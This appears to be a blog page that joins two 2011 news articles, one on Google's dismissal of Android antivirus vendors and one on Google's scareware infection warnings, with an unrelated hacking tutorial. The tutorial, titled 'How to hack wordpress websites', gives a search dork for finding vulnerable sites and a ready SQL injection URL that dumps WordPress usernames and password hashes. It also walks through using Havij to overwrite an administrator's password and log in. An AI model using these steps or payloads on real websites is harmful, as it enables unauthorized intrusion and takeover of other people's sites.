Android security experts reply to Google's accusations: not charlatans, the malware threat is real

Last week, Google’s open-source software captain Chris DiBona radically wrote off the malware threat for Android. The engineer explained that the sandboxing models and underlying kernel simply don’t allow the traditional virus issue in the way that it has affected desktop computers. Moreover, he called anti-virus software makers for Android, RIM and iOS "scammers and charlatans." Ouch.

"Virus companies are playing on your fears to try to sell you BS protection software for Android, RIM, and, iOS. They are charlatans and scammers. If you work for a company selling virus protection for Android, RIM or iOS, you should be ashamed of yourself," DiBona posted on Google+.

That couldn’t have gone unnoticed and it hasn’t - Denis Maslennikov, malware analyst at Kaspersky Labs, one of the anti-virus software makers begged to differ: “Today malware for Android devices is one of the biggest issues in [the] mobile malware area. The growth of numbers of malware for Android is significant in [the] last 5 months. In June we've discovered 112 modifications of Android malware, in July - 212; August - 161; 559 in September; 808 in October."

Now, the catch here seems to be in the definition of malware. DiBona stressed that it’s viruses in the traditional sense that are not an issue for Android and revolted against the practice of selling a product by marketing it as “anti-virus.” Security companies however point out that their apps tackle the growing number of Trojans, but also other cross-platform threats like phishing or premium fee scams. 

Interestingly, F-Secure chief researcher Mikko Hypponen admitted that virus protection is merely a bonus feature of their mobile software: "What he [DiBona] is missing is that mobile security tools (like ours) do much more than just antivirus. Antitheft, remote lock, backup, parental control, Web filter -- these features are the main reason why people buy mobile security products. They get antivirus as a bonus," he said.

AVAST Software expert Ondrej Vicek also agrees that users following the best practices should feel safe, but pointed out that the problem is that most users don’t and that’s where the problem stems from for most users.

How do you personally look at the mobile security apps for Android - do you perceive them as revolving mainly around virus-protection or is anti-virus only a bonus for you when you download them?

Source:  Pc world, google

Author:  Victor H.

Time: 23 Nov 2011, 03:04

 

 

Security experts knock Google on PC infection warnings

Millions told their computers have been hacked

Computerworld - Google has taken the unprecedented step of warning millions of users whose PCs it believes are infected with fake security software and other malware, the company said yesterday. But some security experts are leery of Google's move.

The warning appears as a bright yellow banner that reads "Your computer appears to be infected," at the top of the page after users conduct a search with Google.

Google has started to slap this warning at the top of its search results when it suspects that the PC is infected with malware.

"It appears that your computer is infected with software that intercepts your connection to Google and other sites," the alert continues. The alert also includes a link to a help page that provides more information on the alert and infection, as well as advice about how to remove the malware.

Google first posted the warning on Tuesday after it detected what it called "unusual search traffic" when doing maintenance at one of its data centers. Google decided that the abnormal traffic was a symptom of infected PCs.

"This particular malware causes infected computers to send traffic to Google through a small number of intermediary servers called 'proxies,'" said Damian Menscher, a Google security engineer, in a blog post updated Wednesday.

Menscher added that the proxy traffic originated from fake antivirus (AV) programs, often called "scareware." Millions of machines are infested with the malware, he said.

Scareware, also dubbed "rogueware," is software that pretends to be a legitimate security program. But in reality it's a scam that claims a computer is heavily infected with worms, viruses, Trojan horses and the like. Once installed, the worthless program spooks users with pervasive pop-ups and phony alerts until they fork over a fee, sometimes as high as $80, to "register" the software.

It's not unusual for scareware to redirect traffic through proxies, said Vikram Thakur, principal security response manager with Symantec, in an interview today.

"The bad guys don't want to be done after they have your $50 or $60," Thakur said, referring to the money extorted from users. "They want to go beyond that, and make changes to your computer."

By redirecting traffic from a compromised computer through a proxy, the criminals can control what victims see in their browsers, forcing them, for instance, to a fake banking site when the user tries to access the legitimate URL. The attackers can also modify search results, push malicious links or alter the advertisements displayed on a webpage -- all possible money makers.

"They can move your traffic to anywhere they want," said Thakur.

Only content providers -- such as Google, a website hosting company or an ISP -- can spot this kind of proxy scam, said Thakur. "It's not something flaggable by an infected client," he said. "The client got the results it asked for.... It doesn't care whether they came from legitimate or malicious sources."

Author: Gregg Keizer

Time: July 21, 2011 04:13

How to hack wordpress websites | SQli vulnerability & exploit

There is so many Pepoles using Facebook Connect Wordpress plugin for their blogs. They think it's cool. But it could be a Big Security hole. Here's the way to hack these sites.Step 1 : http://www.google.com

Step 2:Now enter this dork to find sites with security hole..

inurl:"fbconnect_action=myhome"

 Step 3: You will find many sites, Select the site which you are comfortable with. 

Step 4: Now replace 

?fbconnect_action=myhome&userid=

with this 

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--

Step 5: Now you have the User name and Password.

*

Step 6: The password is encrypted with Wordpress md5 (blowfish). You need to decode this. 

Step 7: Then find the administrator panel out. Normally it should be in 

www.victrimsite.com/wp-admin

or 

www.victrimsite.com/wp-login.php

*

Note: Decoding this type of password may take a big time.

So you here is another way to hack the password.....


Step 1: Open Havij and paste the blog url you are going to hack..

Example: 

http://www.victrimsite.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29z0mbyak,7,8,9,10,11,12+from+wp_users--

Step 2: Now find Databases, Tables.

Step 3: Select wp-users then find tick on all columns. Then click on Get Data.

Step 4: You will find something like that..

*

Step 5: Now select any user and change the user_pass to 

$P$BbCzkVXQ6r.T8znShDPMSzM7Whhubc/

Step 6: Now login with the password hackintruths .

Enjoy the hack..